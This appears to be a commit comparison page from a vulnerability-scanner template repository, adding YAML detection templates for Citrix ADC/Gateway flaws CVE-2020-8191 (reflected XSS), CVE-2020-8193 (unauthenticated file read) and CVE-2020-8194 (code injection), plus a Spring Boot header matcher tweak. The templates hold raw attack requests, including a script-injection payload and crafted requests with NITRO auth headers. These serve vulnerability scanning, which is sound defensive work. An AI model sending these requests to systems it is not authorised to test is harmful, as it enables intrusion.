Compare commits

...
9 Commits
Author SHA1 Message Date
bauthard 2ff5be0a36 Merge pull request #233 from bauthard/master
template for CVE-2020-8193 detection
2020-07-11 23:59:37 +05:30
bauthard d21129b102 Merge pull request #236 from dwisiswant0/add-cves
Add CVEs - CVE-2020-8191 & CVE-2020-8194
2020-07-11 23:53:15 +05:30
Dwi Siswanto dd8e298fdc 🔨 Update severity - CVE-2020-8191 2020-07-12 00:54:36 +07:00
Dwi Siswanto 624c89931c 🔥 Add Citrix ADC/Gateway Reflected XSS - CVE-2020-8191 2020-07-12 00:53:33 +07:00
Dwi Siswanto 0c74115ffd 🔥 Add Citrix ADC/Gateway Reflected Code Injection - CVE-2020-8194 2020-07-12 00:52:28 +07:00
bauthard d25b3ec59f Merge pull request #234 from nahoragg/patch-1
header matcher update
2020-07-11 18:09:49 +05:30
bauthard 72c8efa99f Update springboot-detect.yaml 2020-07-11 18:09:10 +05:30
nahoragg 400852776b header matcher update
Came across a condition where this template wasn't matching because the application was sending "application/vnd.spring-boot.actuator.v2+json;charset=UTF-8" instead of "application/json" in content-type header of response.
2020-07-11 18:05:36 +05:30
bauthard b15494d59e tempalte for CVE-2020-8193 detection 2020-07-11 15:45:20 +05:30
4 changed files with 101 additions and 0 deletions

No files matched your search

+34
View File
@@ -0,0 +1,34 @@
id: CVE-2020-8191
info:
name: Citrix ADC & NetScaler Gateway Reflected XSS
# Leads to RCE
author: dwisiswant0
severity: high
requests:
- raw:
- |
POST /menu/stapp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
X-NITRO-USER: xpyZxwy6
sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
matchers-condition: and
matchers:
- type: word
words:
- "</title><script>alert(31337)</script>"
part: body
- type: status
status:
- 200
+32
View File
@@ -0,0 +1,32 @@
id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: high
# Source:- https://github.com/jas502n/CVE-2020-8193
# This template covers only detection part, use the above exploit for the exploit confirmation.
requests:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
matchers-condition: and
matchers:
- type: word
words:
- "Set-Cookie: SESSID"
part: header
- type: status
status:
- 406
+34
View File
@@ -0,0 +1,34 @@
id: CVE-2020-8194
info:
name: Citrix ADC & NetScaler Gateway Reflected Code Injection
author: dwisiswant0
severity: high
requests:
- raw:
- |
GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: startupapp=st
Upgrade-Insecure-Requests: 1
matchers-condition: and
matchers:
- type: word
words:
- "<jnlp codebase=\"nonexistent.1337\">"
part: body
- type: word
words:
- "application/x-java-jnlp-file"
part: header
- type: status
status:
- 200
@@ -95,6 +95,7 @@ requests:
words:
- "X-Application-Context"
- "application/json"
- "application/vnd.spring-boot.actuator.v2+json"
- "hprof"
condition: or
part: header